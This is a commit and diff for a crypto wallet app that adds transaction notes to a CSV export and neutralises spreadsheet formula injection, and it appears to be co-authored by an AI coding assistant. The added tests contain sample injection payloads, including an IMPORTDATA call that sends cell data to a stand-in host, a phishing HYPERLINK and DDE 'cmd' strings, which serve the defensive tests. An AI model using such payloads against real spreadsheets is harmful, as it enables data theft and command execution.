fix(CW-1638): include transaction notes in history CSV export (#3623)

* fix(CW-1638): include transaction notes in history CSV export

The `note` column of the transaction-history CSV export was always written
as an empty string for transaction rows, so notes a user added to a
transaction never appeared in the exported file.

Index the `TransactionDescription` Hive box once per export and look each
transaction's note up by the same keys the app writes them under
(`<txHash>_<primaryAddress>`, falling back to the legacy bare `<txHash>`),
then write it through the existing `escapeField` so multi-line notes and
notes containing commas or quotes stay valid CSV.

`CsvExportService` now takes the box, so it is resolved through `getIt` at
both export entry points.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q5EdTdWZSvzbKKmd9MCEJh

* perf(CW-1638): resolve the note-key address once per CSV export

`_noteFor` read `balanceViewModel.wallet.walletAddresses.primaryAddress`
once per transaction row. On Monero and Wownero that getter is not a field
read: it calls `getAddress`, which issues an FFI `numSubaddresses` call plus
four `ffiAddress` calls before its address cache is consulted. Since
`buildCsvContent` runs on the main isolate, exporting a wallet with a long
history meant thousands of synchronous FFI round-trips with no yield point.

Every item in one export belongs to the same wallet, so the value is
invariant across rows. Resolve it once in `buildCsvContent` and thread it
through to `_noteFor`. An export holding no transaction rows now skips the
read entirely.

No change to the exported output.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q5EdTdWZSvzbKKmd9MCEJh

* fix(CW-1638): neutralise spreadsheet formulas in CSV export

The note column this PR adds is fed by TransactionDescription.transactionNote,
which is not always authored by the user: a scanned bitcoin: URI carries
tx_description / message straight through payment_request.dart into
Output.note, and an address-resolution result writes Output.note too. Both are
folded into the note persisted by SendViewModel.

escapeField only quoted for , " and \n, so a note beginning with = + - @ TAB or
CR reached the cell untouched and Excel / LibreOffice / Sheets evaluate it as a
formula (=IMPORTDATA to exfiltrate a neighbouring cell, =HYPERLINK for phishing
anchor text, =cmd|… for DDE). trade.memo and the provider-supplied trade/order
strings had the same exposure already.

Neutralise inside escapeField rather than at the two call sites so every column
is covered and a future free-text column cannot forget it. Values starting with
a trigger are prefixed with an apostrophe, the spreadsheet text marker, guarded
by a plain-number test so negative amounts are left alone — formatFixed really
can emit a leading '-'. Also quote on a bare \r, which previously passed through
unquoted and splits rows in many CSV parsers.

Tests cover the escaping rules, the neutralisation, a row built end to end, and
the note column itself, including the two lookup keys and the payment-request
injection path.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* perf(CW-1638): bound the CSV note lookup to the exported rows

Review feedback: the note index copied every entry in the shared
transactionDescriptionBox, including notes belonging to other wallets,
so its memory scaled with the box rather than with the export.

Collect the keys the exported rows can ask for first — for each
transaction row both `<txHash>_<primaryAddress>` and the bare
`<txHash>` — then walk the box once and keep only matching notes.
Lookups stay O(1) per row and first-wins/key-preference behaviour is
unchanged; a box walk is skipped entirely when the export has no
transaction rows.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q5EdTdWZSvzbKKmd9MCEJh

* refactor(CW-1638): simplify the CSV note lookup to a plain scan

Notes are written into the TransactionDescriptions box with `add`
(send_view_model.dart:1257,1263 and transaction_details_view_model.dart:299),
so entries carry auto-incrementing integer keys and `box.get(descriptionKey)`
cannot find them. Drop the prebuilt lookup map and the wanted-key set in
favour of a per-row scan that mirrors the app's own read path in
`TransactionDetailsViewModel.note`.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q5EdTdWZSvzbKKmd9MCEJh

* docs(CW-1638): drop the explanatory comments from the CSV note lookup [skip ci]

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q5EdTdWZSvzbKKmd9MCEJh

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Omar <omarh.ismail1@gmail.com>
This commit is contained in:
claude[bot]
2026-09-14 14:43:12 +02:00
committed by GitHub
co-authored by Claude Opus 5 Omar
parent 21c73d0012
commit ef6879b617
5 changed files with 523 additions and 10 deletions
+48 -8
View File
@@ -1,5 +1,6 @@
import 'dart:io';
import 'package:cake_wallet/entities/transaction_description.dart';
import 'package:cake_wallet/generated/i18n.dart';
import 'package:cake_wallet/src/screens/backup/backup_page.dart';
import 'package:cake_wallet/src/widgets/alert_with_two_actions.dart';
@@ -13,13 +14,19 @@ import 'package:cake_wallet/view_model/dashboard/order_list_item.dart';
import 'package:cake_wallet/view_model/dashboard/payjoin_transaction_list_item.dart';
import 'package:cake_wallet/view_model/dashboard/trade_list_item.dart';
import 'package:cake_wallet/view_model/dashboard/transaction_list_item.dart';
import 'package:collection/collection.dart';
import 'package:cw_core/transaction_direction.dart';
import 'package:file_picker/file_picker.dart';
import 'package:flutter/material.dart';
import 'package:hive/hive.dart';
import 'package:intl/intl.dart';
import 'package:path_provider/path_provider.dart';
class CsvExportService {
CsvExportService({required this.transactionDescriptionBox});
final Box<TransactionDescription> transactionDescriptionBox;
static const _columns = [
'record_type',
'date_time',
@@ -42,23 +49,46 @@ class CsvExportService {
static const _utf8Bom = '';
static const _formulaTriggers = {'=', '+', '-', '@', '\t', '\r'};
static final _plainNumber = RegExp(r'^-?\d+(\.\d+)?$');
String buildCsvContent(List<ActionListItem> items) {
final buf = StringBuffer();
buf.write(_utf8Bom);
buf.writeln(_columns.join(','));
final primaryAddress = _primaryAddressOf(items);
for (final item in items) {
if (item is DateSectionItem) continue;
final row = _buildRow(item);
final row = _buildRow(item, primaryAddress);
if (row != null) buf.writeln(row);
}
return buf.toString();
}
String? _buildRow(ActionListItem item) {
if (item is TransactionListItem) return _transactionRow(item);
String _primaryAddressOf(List<ActionListItem> items) {
for (final item in items) {
if (item is TransactionListItem) {
return item.balanceViewModel.wallet.walletAddresses.primaryAddress;
}
}
return '';
}
String _noteFor(TransactionListItem item, String primaryAddress) {
final txHash = item.transaction.txHash;
final descriptionKey = '${txHash}_$primaryAddress';
final description = transactionDescriptionBox.values
.firstWhereOrNull((val) => val.id == descriptionKey || val.id == txHash);
return description?.note ?? '';
}
String? _buildRow(ActionListItem item, String primaryAddress) {
if (item is TransactionListItem) return _transactionRow(item, primaryAddress);
if (item is TradeListItem) return _tradeRow(item);
if (item is OrderListItem) return _orderRow(item);
if (item is AnonpayTransactionListItem) return _anonpayRow(item);
@@ -66,7 +96,7 @@ class CsvExportService {
return null;
}
String _transactionRow(TransactionListItem item) {
String _transactionRow(TransactionListItem item, String primaryAddress) {
final tx = item.transaction;
final type = tx.direction == TransactionDirection.incoming ? 'incoming' : 'outgoing';
final status = tx.isPending ? 'pending' : 'confirmed';
@@ -88,7 +118,7 @@ class CsvExportService {
tx.id,
address,
status,
'',
_noteFor(item, primaryAddress),
'',
'',
'',
@@ -200,10 +230,20 @@ class CsvExportService {
String _row(List<String> fields) => fields.map(escapeField).join(',');
String escapeField(String field) {
if (field.contains(',') || field.contains('"') || field.contains('\n')) {
return '"${field.replaceAll('"', '""')}"';
final value = _neutralizeFormula(field);
if (value.contains(',') ||
value.contains('"') ||
value.contains('\n') ||
value.contains('\r')) {
return '"${value.replaceAll('"', '""')}"';
}
return field;
return value;
}
String _neutralizeFormula(String field) {
if (field.isEmpty || !_formulaTriggers.contains(field[0])) return field;
if (_plainNumber.hasMatch(field)) return field;
return "'$field";
}
String _isoDate(DateTime dt) => dt.toUtc().toIso8601String();
+4
View File
@@ -22,6 +22,7 @@ import 'package:cake_wallet/cake_pay/src/services/cake_pay_api.dart';
import 'package:cake_wallet/cake_pay/src/services/cake_pay_service.dart';
import 'package:cake_wallet/core/auth_service.dart';
import 'package:cake_wallet/core/backup_service_v3.dart';
import 'package:cake_wallet/core/csv_export_service.dart';
import 'package:cake_wallet/core/key_service.dart';
import 'package:cake_wallet/core/new_wallet_arguments.dart';
import 'package:cake_wallet/core/new_wallet_type_arguments.dart';
@@ -1415,6 +1416,9 @@ Future<void> setup({
param1: derivations,
)));
getIt.registerFactory<CsvExportService>(
() => CsvExportService(transactionDescriptionBox: _transactionDescriptionBox));
getIt.registerFactoryParam<TransactionDetailsViewModel, List<dynamic>, void>((params, _) {
final transactionInfo = params[0] as TransactionInfo;
final canReplaceByFee = params[1] as bool? ?? false;
@@ -1,4 +1,5 @@
import 'package:cake_wallet/core/csv_export_service.dart';
import 'package:cake_wallet/di.dart';
import 'package:cake_wallet/generated/i18n.dart';
import 'package:cake_wallet/new-ui/widgets/coins_page/assets_history/history_filters_page.dart';
import 'package:cake_wallet/new-ui/widgets/coins_page/assets_history/history_section.dart';
@@ -33,7 +34,7 @@ class HistoryModal extends StatelessWidget {
),
trailingSemanticLabel: S.of(context).export_csv,
onTrailingPressed: () =>
CsvExportService().exportToCsv(dashboardViewModel.items, context),
getIt.get<CsvExportService>().exportToCsv(dashboardViewModel.items, context),
),
Expanded(
child: Stack(
@@ -1,5 +1,6 @@
import 'package:cake_wallet/bitcoin/bitcoin.dart';
import 'package:cake_wallet/core/csv_export_service.dart';
import 'package:cake_wallet/di.dart';
import 'package:cake_wallet/entities/balance_display_mode.dart';
import 'package:cake_wallet/order/order_source_description.dart';
import 'package:cake_wallet/src/screens/dashboard/widgets/anonpay_transaction_row.dart';
@@ -66,7 +67,8 @@ class TransactionsPage extends StatelessWidget {
}),
HeaderRow(
dashboardViewModel: dashboardViewModel,
onExportCsv: () => CsvExportService().exportToCsv(dashboardViewModel.items, context),
onExportCsv: () =>
getIt.get<CsvExportService>().exportToCsv(dashboardViewModel.items, context),
key: ValueKey('transactions_page_header_row_key'),
),
Expanded(
+466
View File
@@ -0,0 +1,466 @@
import 'package:cake_wallet/anonpay/anonpay_invoice_info.dart';
import 'package:cake_wallet/core/csv_export_service.dart';
import 'package:cake_wallet/entities/transaction_description.dart';
import 'package:cake_wallet/store/app_store.dart';
import 'package:cake_wallet/view_model/dashboard/anonpay_transaction_list_item.dart';
import 'package:cake_wallet/view_model/dashboard/balance_view_model.dart';
import 'package:cake_wallet/view_model/dashboard/date_section_item.dart';
import 'package:cake_wallet/view_model/dashboard/payjoin_transaction_list_item.dart';
import 'package:cake_wallet/view_model/dashboard/transaction_list_item.dart';
import 'package:cw_core/amount/money.dart';
import 'package:cw_core/balance.dart';
import 'package:cw_core/crypto_currency.dart';
import 'package:cw_core/payjoin_session.dart';
import 'package:cw_core/transaction_direction.dart';
import 'package:cw_core/transaction_history.dart';
import 'package:cw_core/transaction_info.dart';
import 'package:cw_core/wallet_addresses.dart';
import 'package:cw_core/wallet_base.dart';
import 'package:flutter/foundation.dart';
import 'package:flutter_test/flutter_test.dart';
import 'package:hive/hive.dart';
const kPrimaryAddress = 'primaryAddr';
class _Unstubbed {
@override
dynamic noSuchMethod(Invocation invocation) =>
throw UnimplementedError('${invocation.memberName} is not stubbed in this fake');
}
class _FakeDescriptionBox extends _Unstubbed implements Box<TransactionDescription> {
_FakeDescriptionBox(this._values);
final List<TransactionDescription> _values;
@override
Iterable<TransactionDescription> get values => _values;
}
class _FakeWalletAddresses extends _Unstubbed implements WalletAddresses {
@override
String get primaryAddress => kPrimaryAddress;
}
class _FakeWallet extends _Unstubbed
implements WalletBase<Balance, TransactionHistoryBase<TransactionInfo>, TransactionInfo> {
@override
WalletAddresses get walletAddresses => _FakeWalletAddresses();
}
class _FakeBalanceViewModel extends _Unstubbed implements BalanceViewModel {
@override
WalletBase<Balance, TransactionHistoryBase<TransactionInfo>, TransactionInfo> get wallet =>
_FakeWallet();
}
class _FakeAppStore extends _Unstubbed implements AppStore {}
class _FakeTransactionInfo extends TransactionInfo {
_FakeTransactionInfo({required String id}) {
this.id = id;
txHash = id;
amount = Money.fromInt(0, CryptoCurrency.btc);
direction = TransactionDirection.incoming;
isPending = false;
date = DateTime.utc(2024, 6, 15, 12);
from = 'senderAddress';
}
}
void main() {
late CsvExportService service;
CsvExportService serviceWith(List<TransactionDescription> descriptions) =>
CsvExportService(transactionDescriptionBox: _FakeDescriptionBox(descriptions));
TransactionListItem txItem(String id) => TransactionListItem(
transaction: _FakeTransactionInfo(id: id),
balanceViewModel: _FakeBalanceViewModel(),
appStore: _FakeAppStore(),
key: ValueKey(id),
);
String noteColumnOf(String csv) => csv.trim().split('\n').last.split(',')[9];
setUp(() => service = serviceWith([]));
// ── RFC 4180 escaping ──────────────────────────────────────────────────────
group('escapeField', () {
test('plain field is returned unchanged', () {
expect(service.escapeField('hello'), 'hello');
});
test('field with comma is double-quoted', () {
expect(service.escapeField('a,b'), '"a,b"');
});
test('field with double-quote has internal quote escaped and is wrapped', () {
expect(service.escapeField('say "hi"'), '"say ""hi"""');
});
test('field with newline is double-quoted', () {
expect(service.escapeField('line1\nline2'), '"line1\nline2"');
});
test('empty string is returned unchanged', () {
expect(service.escapeField(''), '');
});
test('field with a bare carriage return is double-quoted', () {
expect(service.escapeField('line1\rline2'), '"line1\rline2"');
});
});
// ── Spreadsheet formula injection ─────────────────────────────────────
group('escapeField – formula injection', () {
test('field starting with = is prefixed with the text marker', () {
expect(service.escapeField('=1+1'), "'=1+1");
});
test('field starting with + is prefixed with the text marker', () {
expect(service.escapeField('+1+1'), "'+1+1");
});
test('field starting with @ is prefixed with the text marker', () {
expect(service.escapeField('@SUM(A1)'), "'@SUM(A1)");
});
test('field starting with a tab is prefixed with the text marker', () {
expect(service.escapeField('\t=1+1'), "'\t=1+1");
});
test('field starting with a carriage return is prefixed and quoted', () {
expect(service.escapeField('\r=1+1'), '"\'\r=1+1"');
});
test('DDE payload starting with - is prefixed with the text marker', () {
expect(service.escapeField("-2+3+cmd|'/C calc'!A0"), "'-2+3+cmd|'/C calc'!A0");
});
test('IMPORTDATA payload is neutralised and still RFC 4180 quoted', () {
expect(
service.escapeField('=IMPORTDATA("https://evil.tld")'),
'"\'=IMPORTDATA(""https://evil.tld"")"',
);
});
test('negative integer is left untouched', () {
expect(service.escapeField('-12'), '-12');
});
test('negative decimal is left untouched', () {
expect(service.escapeField('-0.00000001'), '-0.00000001');
});
test('trigger character away from the start is left untouched', () {
expect(service.escapeField('total =1+1'), 'total =1+1');
});
test('ISO date is left untouched', () {
expect(service.escapeField('2024-06-15T12:00:00.000Z'), '2024-06-15T12:00:00.000Z');
});
});
// ── Header row ─────────────────────────────────────────────────────────────
group('buildCsvContent – header', () {
test('first line after BOM is the header row', () {
final csv = service.buildCsvContent([]);
final lines = csv.split('\n');
// lines[0] is BOM + header (or BOM on its own if \n follows BOM)
final header = lines.firstWhere((l) => l.contains('record_type'));
expect(header, contains('record_type'));
expect(header, contains('date_time'));
expect(header, contains('tx_id'));
expect(header, contains('from_amount'));
expect(header, contains('to_amount'));
expect(header, contains('confirmations'));
});
test('header has exactly 17 columns', () {
final csv = service.buildCsvContent([]);
final headerLine = csv.split('\n').firstWhere((l) => l.contains('record_type'));
// Remove BOM if present at start
final clean = headerLine.replaceAll('', '');
expect(clean.split(',').length, 17);
});
});
// ── Empty list ─────────────────────────────────────────────────────────────
group('buildCsvContent – empty list', () {
test('returns BOM + header only, no data rows', () {
final csv = service.buildCsvContent([]);
final lines = csv.trim().split('\n');
expect(lines.length, 1); // header only
});
});
// ── DateSectionItem skipped ────────────────────────────────────────────────
group('buildCsvContent – DateSectionItem', () {
test('DateSectionItem is excluded from output', () {
final section = DateSectionItem(DateTime.now(), key: const ValueKey('ds'));
final csv = service.buildCsvContent([section]);
final lines = csv.trim().split('\n');
expect(lines.length, 1); // header only, section skipped
});
});
// ── AnonpayTransactionListItem ─────────────────────────────────────────────
group('buildCsvContent – anonpay row', () {
AnonpayInvoiceInfo makeAnonpay({
String address = 'someAddress',
String status = 'paid',
double? fiatAmount,
String? fiatEquiv,
double? amountTo,
String coinTo = 'XMR',
}) {
return AnonpayInvoiceInfo(
invoiceId: 'inv-001',
clearnetUrl: '',
onionUrl: '',
clearnetStatusUrl: '',
onionStatusUrl: '',
status: status,
fiatAmount: fiatAmount,
fiatEquiv: fiatEquiv,
amountTo: amountTo,
coinTo: coinTo,
address: address,
createdAt: DateTime.utc(2024, 6, 15, 12, 0, 0),
walletId: 'wallet-1',
provider: 'Cake Pay',
);
}
test('produces a row with record_type=anonpay', () {
final item = AnonpayTransactionListItem(
transaction: makeAnonpay(),
key: const ValueKey('ap1'),
);
final csv = service.buildCsvContent([item]);
final dataLine = csv.trim().split('\n').last;
expect(dataLine, startsWith('anonpay,'));
});
test('uses fiatAmount when available', () {
final item = AnonpayTransactionListItem(
transaction: makeAnonpay(fiatAmount: 12.5, fiatEquiv: 'USD'),
key: const ValueKey('ap2'),
);
final csv = service.buildCsvContent([item]);
final dataLine = csv.trim().split('\n').last;
expect(dataLine, contains('12.5'));
expect(dataLine, contains('USD'));
});
test('falls back to amountTo/coinTo when no fiat amount', () {
final item = AnonpayTransactionListItem(
transaction: makeAnonpay(amountTo: 0.5, coinTo: 'XMR'),
key: const ValueKey('ap3'),
);
final csv = service.buildCsvContent([item]);
final dataLine = csv.trim().split('\n').last;
expect(dataLine, contains('0.5'));
expect(dataLine, contains('XMR'));
});
test('address with comma is RFC 4180 quoted', () {
final item = AnonpayTransactionListItem(
transaction: makeAnonpay(address: 'addr,part1,part2'),
key: const ValueKey('ap4'),
);
final csv = service.buildCsvContent([item]);
expect(csv, contains('"addr,part1,part2"'));
});
test('address that starts with a formula trigger is neutralised in the row', () {
final item = AnonpayTransactionListItem(
transaction: makeAnonpay(address: '=HYPERLINK("https://evil.tld","receipt")'),
key: const ValueKey('ap5'),
);
final csv = service.buildCsvContent([item]);
final dataLine = csv.trim().split('\n').last;
expect(dataLine, contains('"\'=HYPERLINK'));
expect(dataLine, isNot(contains('"=HYPERLINK')));
});
});
// ── PayjoinTransactionListItem ─────────────────────────────────────────────
group('buildCsvContent – payjoin row', () {
PayjoinSession makeSession({
bool isSender = true,
String status = 'created',
String? txId,
String? rawAmount,
}) {
return PayjoinSession(
walletId: 'wallet-1',
sender: isSender ? 'senderAddr' : null,
receiver: isSender ? null : 'receiverAddr',
pjUri: isSender ? 'payjoin:uri' : null,
status: status,
inProgressSince: DateTime.utc(2024, 6, 15, 10, 0, 0),
rawAmount: rawAmount ?? '100000',
)..txId = txId;
}
test('produces a row with record_type=payjoin', () {
final session = makeSession();
final item = PayjoinTransactionListItem(
sessionId: 'pj-1',
session: session,
key: const ValueKey('pj1'),
);
final csv = service.buildCsvContent([item]);
final dataLine = csv.trim().split('\n').last;
expect(dataLine, startsWith('payjoin,'));
});
test('sender session has type=send', () {
final item = PayjoinTransactionListItem(
sessionId: 'pj-2',
session: makeSession(isSender: true),
key: const ValueKey('pj2'),
);
final csv = service.buildCsvContent([item]);
final dataLine = csv.trim().split('\n').last;
// type is the 3rd column (index 2)
expect(dataLine.split(',')[2], 'send');
});
test('receiver session has type=receive', () {
final item = PayjoinTransactionListItem(
sessionId: 'pj-3',
session: makeSession(isSender: false),
key: const ValueKey('pj3'),
);
final csv = service.buildCsvContent([item]);
final dataLine = csv.trim().split('\n').last;
expect(dataLine.split(',')[2], 'receive');
});
test('tx_id column populated when txId is set', () {
final item = PayjoinTransactionListItem(
sessionId: 'pj-4',
session: makeSession(txId: 'abc123'),
key: const ValueKey('pj4'),
);
final csv = service.buildCsvContent([item]);
expect(csv, contains('abc123'));
});
test('currency column is BTC', () {
final item = PayjoinTransactionListItem(
sessionId: 'pj-5',
session: makeSession(),
key: const ValueKey('pj5'),
);
final csv = service.buildCsvContent([item]);
final dataLine = csv.trim().split('\n').last;
// currency is 5th column (index 4)
expect(dataLine.split(',')[4], 'BTC');
});
});
// ── Mixed list ─────────────────────────────────────────────────────────────
group('buildCsvContent – mixed list', () {
test('DateSectionItem mixed with data items produces correct row count', () {
final section = DateSectionItem(DateTime.now(), key: const ValueKey('ds2'));
final anonpay = AnonpayTransactionListItem(
transaction: AnonpayInvoiceInfo(
invoiceId: 'x',
clearnetUrl: '',
onionUrl: '',
clearnetStatusUrl: '',
onionStatusUrl: '',
status: 'paid',
coinTo: 'XMR',
address: 'addr1',
createdAt: DateTime.now(),
walletId: 'w1',
provider: 'Cake Pay',
),
key: const ValueKey('ap-mix'),
);
final csv = service.buildCsvContent([section, anonpay]);
final lines = csv.trim().split('\n');
// header + 1 data row only (section skipped)
expect(lines.length, 2);
expect(lines.last, startsWith('anonpay,'));
});
});
// ── Trade row (field mapping, no AppStore needed for raw fields) ───────────
group('buildCsvContent – trade direct field coverage', () {
test('escapeField handles memo with double-quote in trade context', () {
// Simulates the memo field from a Trade that contains internal quotes
final memoWithQuotes = 'says "hello"';
expect(service.escapeField(memoWithQuotes), '"says ""hello"""');
});
test('escapeField neutralises a memo that opens with a formula', () {
expect(service.escapeField("=cmd|'/C calc'!A0"), "'=cmd|'/C calc'!A0");
});
});
// ── Transaction note column (CW-1638) ─────────────────────────────────
group('buildCsvContent – transaction note', () {
test('note keyed by <txHash>_<primaryAddress> lands in the note column', () {
final csv = serviceWith([
TransactionDescription(id: 'tx1_$kPrimaryAddress', transactionNote: 'dinner'),
]).buildCsvContent([txItem('tx1')]);
expect(noteColumnOf(csv), 'dinner');
});
test('legacy note keyed by the bare txHash still resolves', () {
final csv = serviceWith([
TransactionDescription(id: 'tx1', transactionNote: 'legacy note'),
]).buildCsvContent([txItem('tx1')]);
expect(noteColumnOf(csv), 'legacy note');
});
test('transaction without a stored note leaves the note column empty', () {
final csv = serviceWith([]).buildCsvContent([txItem('tx1')]);
expect(noteColumnOf(csv), '');
});
test('note supplied by a payment request cannot inject a formula', () {
// tx_description / message of a scanned bitcoin: URI ends up here verbatim.
final csv = serviceWith([
TransactionDescription(
id: 'tx1_$kPrimaryAddress',
transactionNote: '=IMPORTDATA("https://evil.tld/?d="&A2)',
),
]).buildCsvContent([txItem('tx1')]);
final dataLine = csv.trim().split('\n').last;
expect(dataLine, contains('"\'=IMPORTDATA'));
expect(dataLine, isNot(contains('"=IMPORTDATA')));
});
test('note starting with a hyphen is neutralised without mangling amounts', () {
final csv = serviceWith([
TransactionDescription(id: 'tx1_$kPrimaryAddress', transactionNote: '-2+3+cmd|x'),
]).buildCsvContent([txItem('tx1')]);
final columns = csv.trim().split('\n').last.split(',');
expect(columns[9], "'-2+3+cmd|x");
expect(columns[3], '0');
});
});
}